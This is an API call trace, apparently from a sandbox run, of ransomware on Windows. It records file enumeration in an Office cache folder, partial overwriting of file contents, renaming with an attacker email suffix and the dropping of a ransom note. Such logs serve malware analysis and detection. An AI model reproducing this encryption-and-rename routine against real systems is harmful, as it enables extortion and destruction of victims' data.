[0054.534] FindNextFileW (in: hFindFile=0x2fef40, lpFindFileData=0xecf134 | out: lpFindFileData=0xecf134*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x18177c50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x7976, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1
[0054.534] wnsprintfW (in: pszDest=0x336770, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 76
[0054.534] StrStrIW (lpFirst="Setup.xml", lpSrch="SDfghjkl") returned 0x0
[0054.535] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0054.535] GetProcessHeap () returned 0x2e0000
[0054.535] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x2800) returned 0x347780
[0054.535] ReadFile (in: hFile=0x10c, lpBuffer=0x347780, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesRead=0xecf110*=0x2800, lpOverlapped=0x0) returned 1
[0054.539] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
[0054.539] WriteFile (in: hFile=0x10c, lpBuffer=0x347780*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesWritten=0xecf110*=0x2800, lpOverlapped=0x0) returned 1
[0054.540] GetProcessHeap () returned 0x2e0000
[0054.540] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0054.540] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
[0054.540] WriteFile (in: hFile=0x10c, lpBuffer=0x1368ef0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x1368ef0*, lpNumberOfBytesWritten=0xecf110*=0x100, lpOverlapped=0x0) returned 1
[0054.540] CloseHandle (hObject=0x10c) returned 1
[0054.540] GetProcessHeap () returned 0x2e0000
[0054.540] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xfffe) returned 0x347780
[0054.540] wnsprintfW (in: pszDest=0x347780, cchDest=32767, pszFmt="%s_%6S_{%S}%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 118
[0054.540] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml_4panrg_{fiasco911@protonmail.com}sdfghjkl")) returned 1
[0054.541] GetProcessHeap () returned 0x2e0000
[0054.541] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0054.541] FindNextFileW (in: hFindFile=0x2fef40, lpFindFileData=0xecf134 | out: lpFindFileData=0xecf134*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x18177c50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x7976, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0
[0054.541] wnsprintfW (in: pszDest=0x336770, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Instructions with your files.txt") returned 99
[0054.541] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Instructions with your files.txt" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0054.543] WriteFile (in: hFile=0x10c, lpBuffer=0x13638a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0xecf114, lpOverlapped=0x0 | out: lpBuffer=0x13638a8*, lpNumberOfBytesWritten=0xecf114*=0x54, lpOverlapped=0x0) returned 1
[0054.544] WriteFile (in: hFile=0x10c, lpBuffer=0x2fe3f2*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0xecf114, lpOverlapped=0x0 | out: lpBuffer=0x2fe3f2*, lpNumberOfBytesWritten=0xecf114*=0x18, lpOverlapped=0x0) returned 1
[0054.544] WriteFile (in: hFile=0x10c, lpBuffer=0x1363900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0xecf114, lpOverlapped=0x0 | out: lpBuffer=0x1363900*, lpNumberOfBytesWritten=0xecf114*=0xc, lpOverlapped=0x0) returned 1
[0054.544] WriteFile (in: hFile=0x10c, lpBuffer=0x2fe424*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0xecf114, lpOverlapped=0x0 | out: lpBuffer=0x2fe424*, lpNumberOfBytesWritten=0xecf114*=0x16, lpOverlapped=0x0) returned 1
[0054.544] WriteFile (in: hFile=0x10c, lpBuffer=0x1363910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0xecf114, lpOverlapped=0x0 | out: lpBuffer=0x1363910*, lpNumberOfBytesWritten=0xecf114*=0x23, lpOverlapped=0x0) returned 1
[0054.544] CloseHandle (hObject=0x10c) returned 1
[0054.545] FindClose (in: hFindFile=0x2fef40 | out: hFindFile=0x2fef40) returned 1
[0054.545] GetProcessHeap () returned 0x2e0000
[0054.545] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x336770 | out: hHeap=0x2e0000) returned 1
[0054.545] FindNextFileW (in: hFindFile=0x2fef00, lpFindFileData=0xecf3c4 | out: lpFindFileData=0xecf3c4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5cd3a40, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xa8c22f80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa8c22f80, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{91140000-003B-0000-1000-0000000FF1CE}-C", cAlternateFileName="{91140~3")) returned 1
[0054.545] wnsprintfW (in: pszDest=0x325760, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C") returned 66
[0054.545] GetProcessHeap () returned 0x2e0000
[0054.545] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xfffe) returned 0x336770
[0054.545] wnsprintfW (in: pszDest=0x336770, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\*") returned 68
[0054.545] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\*", lpFindFileData=0xecf134 | out: lpFindFileData=0xecf134*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5cd3a40, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xa8c22f80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa8c22f80, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fef40
[0054.546] wnsprintfW (in: pszDest=0x336770, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\.") returned 68
[0054.546] StrStrIW (lpFirst=".", lpSrch="SDfghjkl") returned 0x0
[0054.547] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\." (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
[0054.547] FindNextFileW (in: hFindFile=0x2fef40, lpFindFileData=0xecf134 | out: lpFindFileData=0xecf134*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5cd3a40, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xa8c22f80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa8c22f80, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0054.547] wnsprintfW (in: pszDest=0x336770, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\..") returned 69
[0054.547] StrStrIW (lpFirst="..", lpSrch="SDfghjkl") returned 0x0
[0054.547] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\.." (normalized: "c:\\msocache\\all users"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
[0054.547] FindNextFileW (in: hFindFile=0x2fef40, lpFindFileData=0xecf134 | out: lpFindFileData=0xecf134*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x87078450, ftCreationTime.dwHighDateTime=0x1cb147f, ftLastAccessTime.dwLowDateTime=0x87078450, ftLastAccessTime.dwHighDateTime=0x1cb147f, ftLastWriteTime.dwLowDateTime=0xa5d1e590, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x1e6600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32WW.msi", cAlternateFileName="OFFICE~1.MSI")) returned 1
[0054.547] wnsprintfW (in: pszDest=0x336770, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 81
[0054.547] StrStrIW (lpFirst="Office32WW.msi", lpSrch="SDfghjkl") returned 0x0
[0054.547] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0054.548] GetProcessHeap () returned 0x2e0000
[0054.548] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x2800) returned 0x347780
[0054.548] ReadFile (in: hFile=0x10c, lpBuffer=0x347780, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesRead=0xecf110*=0x2800, lpOverlapped=0x0) returned 1
[0054.550] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
[0054.550] WriteFile (in: hFile=0x10c, lpBuffer=0x347780*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesWritten=0xecf110*=0x2800, lpOverlapped=0x0) returned 1
[0054.550] GetProcessHeap () returned 0x2e0000
[0054.550] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0054.550] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
[0054.550] WriteFile (in: hFile=0x10c, lpBuffer=0x1368ef0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x1368ef0*, lpNumberOfBytesWritten=0xecf110*=0x100, lpOverlapped=0x0) returned 1
[0054.552] CloseHandle (hObject=0x10c) returned 1
[0054.552] GetProcessHeap () returned 0x2e0000
[0054.552] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xfffe) returned 0x347780
[0054.552] wnsprintfW (in: pszDest=0x347780, cchDest=32767, pszFmt="%s_%6S_{%S}%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 123
[0054.552] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.msi"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi_4paNrg_{fiasco911@protonmail.com}SDfghjkl" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.msi_4panrg_{fiasco911@protonmail.com}sdfghjkl")) returned 1
[0054.553] GetProcessHeap () returned 0x2e0000
[0054.553] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0054.553] FindNextFileW (in: hFindFile=0x2fef40, lpFindFileData=0xecf134 | out: lpFindFileData=0xecf134*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x87abdaa0, ftCreationTime.dwHighDateTime=0x1cb147f, ftLastAccessTime.dwLowDateTime=0x87abdaa0, ftLastAccessTime.dwHighDateTime=0x1cb147f, ftLastWriteTime.dwLowDateTime=0xa5cd2aa0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x10b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32WW.xml", cAlternateFileName="OFFICE~1.XML")) returned 1
[0054.553] wnsprintfW (in: pszDest=0x336770, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 81
[0054.553] StrStrIW (lpFirst="Office32WW.xml", lpSrch="SDfghjkl") returned 0x0
[0054.553] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0054.553] GetProcessHeap () returned 0x2e0000
[0054.553] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x2800) returned 0x347780
[0054.553] ReadFile (in: hFile=0x10c, lpBuffer=0x347780, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesRead=0xecf110*=0x10b2, lpOverlapped=0x0) returned 1
[0054.555] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xffffef4e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
[0054.555] WriteFile (in: hFile=0x10c, lpBuffer=0x347780*, nNumberOfBytesToWrite=0x10b2, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesWritten=0xecf110*=0x10b2, lpOverlapped=0x0) returned 1
[0054.556] GetProcessHeap () returned 0x2e0000
[0054.556] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0054.556] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
[0054.556] WriteFile (in: hFile=0x10c, lpBuffer=0x1368ef0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x1368ef0*, lpNumberOfBytesWritten=0xecf110*=0x100, lpOverlapped=0x0) returned 1
[0054.556] CloseHandle (hObject=0x10c) returned 1
[0054.556] GetProcessHeap () returned 0x2e0000
[0054.556] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xfffe) returned 0x347780
[0054.556] wnsprintfW (in: pszDest=0x347780, cchDest=32767, pszFmt="%s_%6S_{%S}%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 123
[0054.556] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml_4panrg_{fiasco911@protonmail.com}sdfghjkl")) returned 1
[0054.557] GetProcessHeap () returned 0x2e0000
[0054.557] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0054.557] FindNextFileW (in: hFindFile=0x2fef40, lpFindFileData=0xecf134 | out: lpFindFileData=0xecf134*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xfe57f8e0, ftCreationTime.dwHighDateTime=0x1cbe1cb, ftLastAccessTime.dwLowDateTime=0xfe57f8e0, ftLastAccessTime.dwHighDateTime=0x1cbe1cb, ftLastWriteTime.dwLowDateTime=0xa8bafbc0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x2a968, dwReserved0=0x0, dwReserved1=0x0, cFileName="ose.exe", cAlternateFileName="")) returned 1
[0054.557] wnsprintfW (in: pszDest=0x336770, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 74
[0054.557] StrStrIW (lpFirst="ose.exe", lpSrch="SDfghjkl") returned 0x0
[0054.557] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\ose.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0054.557] GetProcessHeap () returned 0x2e0000
[0054.557] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x2800) returned 0x347780
[0054.557] ReadFile (in: hFile=0x10c, lpBuffer=0x347780, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesRead=0xecf110*=0x2800, lpOverlapped=0x0) returned 1
[0054.559] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
[0054.560] WriteFile (in: hFile=0x10c, lpBuffer=0x347780*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesWritten=0xecf110*=0x2800, lpOverlapped=0x0) returned 1
[0054.560] GetProcessHeap () returned 0x2e0000
[0054.560] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0054.560] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
[0054.560] WriteFile (in: hFile=0x10c, lpBuffer=0x1368ef0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x1368ef0*, lpNumberOfBytesWritten=0xecf110*=0x100, lpOverlapped=0x0) returned 1
[0054.562] CloseHandle (hObject=0x10c) returned 1
[0054.562] GetProcessHeap () returned 0x2e0000
[0054.562] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xfffe) returned 0x347780
[0054.562] wnsprintfW (in: pszDest=0x347780, cchDest=32767, pszFmt="%s_%6S_{%S}%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 116
[0054.562] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\ose.exe"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe_4paNrg_{fiasco911@protonmail.com}SDfghjkl" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\ose.exe_4panrg_{fiasco911@protonmail.com}sdfghjkl")) returned 1
[0054.563] GetProcessHeap () returned 0x2e0000
[0054.563] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0054.563] FindNextFileW (in: hFindFile=0x2fef40, lpFindFileData=0xecf134 | out: lpFindFileData=0xecf134*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6644b620, ftCreationTime.dwHighDateTime=0x1cb04b2, ftLastAccessTime.dwLowDateTime=0x6644b620, ftLastAccessTime.dwHighDateTime=0x1cb04b2, ftLastWriteTime.dwLowDateTime=0xa81b8770, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x709768, dwReserved0=0x0, dwReserved1=0x0, cFileName="osetup.dll", cAlternateFileName="")) returned 1
[0054.563] wnsprintfW (in: pszDest=0x336770, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 77
[0054.563] StrStrIW (lpFirst="osetup.dll", lpSrch="SDfghjkl") returned 0x0
[0054.563] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\osetup.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0054.563] GetProcessHeap () returned 0x2e0000
[0054.563] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x2800) returned 0x347780
[0054.563] ReadFile (in: hFile=0x10c, lpBuffer=0x347780, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesRead=0xecf110*=0x2800, lpOverlapped=0x0) returned 1
[0054.565] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
[0054.565] WriteFile (in: hFile=0x10c, lpBuffer=0x347780*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesWritten=0xecf110*=0x2800, lpOverlapped=0x0) returned 1
[0054.565] GetProcessHeap () returned 0x2e0000
[0054.565] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0054.565] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
[0054.565] WriteFile (in: hFile=0x10c, lpBuffer=0x1368ef0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x1368ef0*, lpNumberOfBytesWritten=0xecf110*=0x100, lpOverlapped=0x0) returned 1
[0054.569] CloseHandle (hObject=0x10c) returned 1
[0054.569] GetProcessHeap () returned 0x2e0000
[0054.569] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xfffe) returned 0x347780
[0054.569] wnsprintfW (in: pszDest=0x347780, cchDest=32767, pszFmt="%s_%6S_{%S}%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 119
[0054.569] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\osetup.dll"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll_4paNrg_{fiasco911@protonmail.com}SDfghjkl" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\osetup.dll_4panrg_{fiasco911@protonmail.com}sdfghjkl")) returned 1
[0054.570] GetProcessHeap () returned 0x2e0000
[0054.570] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0054.570] FindNextFileW (in: hFindFile=0x2fef40, lpFindFileData=0xecf134 | out: lpFindFileData=0xecf134*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8238e540, ftCreationTime.dwHighDateTime=0x1cb147f, ftLastAccessTime.dwLowDateTime=0x8238e540, ftLastAccessTime.dwHighDateTime=0x1cb147f, ftLastWriteTime.dwLowDateTime=0xa5ddcc70, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x228df5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="OWOW32WW.cab", cAlternateFileName="")) returned 1
[0054.570] wnsprintfW (in: pszDest=0x336770, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 79
[0054.570] StrStrIW (lpFirst="OWOW32WW.cab", lpSrch="SDfghjkl") returned 0x0
